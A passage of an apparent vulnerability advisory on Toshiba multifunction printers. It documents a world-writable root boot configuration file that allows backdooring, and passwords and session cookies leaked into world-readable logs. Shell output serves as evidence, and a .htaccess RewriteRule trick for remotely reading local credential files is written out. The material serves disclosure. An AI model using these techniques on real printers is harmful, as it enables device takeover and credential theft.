`/home/SYSROM_SRC/build/thirdparty/bin/ssm.xml` and has insecure
permissions:

bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/ssm.xml
/home/SYSROM_SRC/build/thirdparty/bin/ssm.xml
/home/SYSROM_SRC/build/common/bin/ssm.xml
-rwxrwxrwx 1 root root 55245 Oct 7 2021
/home/SYSROM_SRC/build/common/bin/ssm.xml
lrwxrwxrwx 1 root root 28 Mar 14 16:27
/home/SYSROM_SRC/build/release/bin/ssm.xml ->
../../thirdparty/bin/ssm.xml
lrwxrwxrwx 1 root root 24 Mar 14 16:27
/home/SYSROM_SRC/build/thirdparty/bin/ssm.xml ->
../../common/bin/ssm.xmlroot

This file is used to run program as root when the printer starts and
can be used to redefine any program running as root when the printer
boots. This program also runs every 3 minute.

An attacker can remotely write an additional entry to start a
malicious command that will be executed as root when the printer
boots:

An attacker can remotely compromise any Toshiba printer.

The `/home/SYSROM_SRC/build/common/bin/ssm.xml` configuration file can
be replaced by any local or remote attacker to run any malicious
program as root when the printer starts.

Attackers can backdoor the printer.

## Details – Passwords stored in clear-text logs and insecure logs

It was observed that passwords are stored in clear-text logs.

Some logs are stored inside the `/ramdisk/work/log/al` directory with
insecure permissions, allowing any local attacker to read and modify
these files:

### Clear-text password written in logs when an user logs into the printer

When a user logs into the TopAccess web interface, the password will
be written in logs that are world-readable as shown below.

Login as admin with the password `PASSWORD-SECRET-PIERRE`, we can see
the password saved into 2 log files that are world-readable:

– – `/ramdisk/work/log/al/boserverEvent.log.*.txt`
– – `/ramdisk/al/network/log/http.log`

Leak of credentials inside the log files:

bash-4.1# grep -ri PIER .

http://10.0.0.1:8080/TopAccessLogin.html?v=1670282309ta

These files have insecure permissions allowing any user to retrieve
the passwords and to modify the logs.

The files can be also modified by a remote attacker using the
Pre-authenticated Remote Code Execution as root or apache and multiple
Local Privilege Escalations vulnerability.

bash-4.1# ls -la /ramdisk/al/network/log/http.log
ls -la /ramdisk/al/network/log/http.log

### Clear-text password written in logs when a password is modified

Using the TopAccess web interface, it is possible to update passwords of users.

[please use the HTML version at
https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]

Such password will be found in the log files (`NEW-PASSWORD-PIERRE`):

bash-4.1# grep -r NEW-PASSWORD-PIERRE .
./work/log/al/boserverEvent.log.28.txt:<Evt><t>05/27
16:22:22933938</t><Set><sID>ContentWebServer_10.0.0.2.63e5f73ea1d7ecf9cfd935393adb8b11</sID><pID>4974</pID><pName>httpd</pName><SetValue><Payload

ID=”10002″><Information><passwd>NEW-PASSWORD-PIERRE</passwd><UserSoftKeyboardDisplay>true</UserSoftKeyboardDisplay></Information></User></UpdateUser></View></UserManager></value></Payload></SetValue></Set></Evt>
bash-4.1#

And this log file also has insecure permissions, allowing any user to
retrieve the passwords or to modify the log file.

The files can be also modified by a remote attacker using the
Pre-authenticated Remote Code Execution as root or apache and multiple
Local Privilege Escalations vulnerability.

bash-4.1# ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
-rwxrwxrwx 1 root trusted 886685 May 27 16:23
/ramdisk/work/log/al/boserverEvent.log.28.txt
bash-4.1#

An attacker can retrieve passwords.

An attacker can modify the logs.

A remote attacker can retrieve the credentials and bypass the
authentication mechanism by uploading a .htaccess file containing a
RewriteRule (`RewriteRule /pwned.txt file:/path/to/local/file`), using
the Pre-authenticated Remote Code Execution as root or apache and
multiple Local Privilege Escalations vulnerability.

## Details – Leak of authentication sessions in insecure logs in
/ramdisk/work/log directory

It was observed that the session cookies, used for authentication, are
stored in clear-text logs. These logs are world-readable and some can
also be freely modified by any local attacker.

Some logs are stored inside the `/ramdisk/work/log` directory with
insecure permissions. We can find the authentication sessions (e.g.
`ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e`) inside.

Leak of sessions inside the log files:

attacker (or any remote attacker using the Pre-authenticated Remote
Code Execution as root or apache and multiple Local Privilege
Escalations vulnerability):

An attacker can retrieve authentication sessions.

## Details – Leak of authentication sessions in insecure logs in
/ramdisk/al/network/log directory

It was observed that the sessions are stored in clear-text logs. These
logs are world-readable and some can also be freely modified by any
local attacker.

Some logs are stored inside the `/ramdisk/al/network/log` directory
with insecure permissions. We can find the authentication sessions
inside:

bash-4.1# pwd
/ramdisk/al/network/log
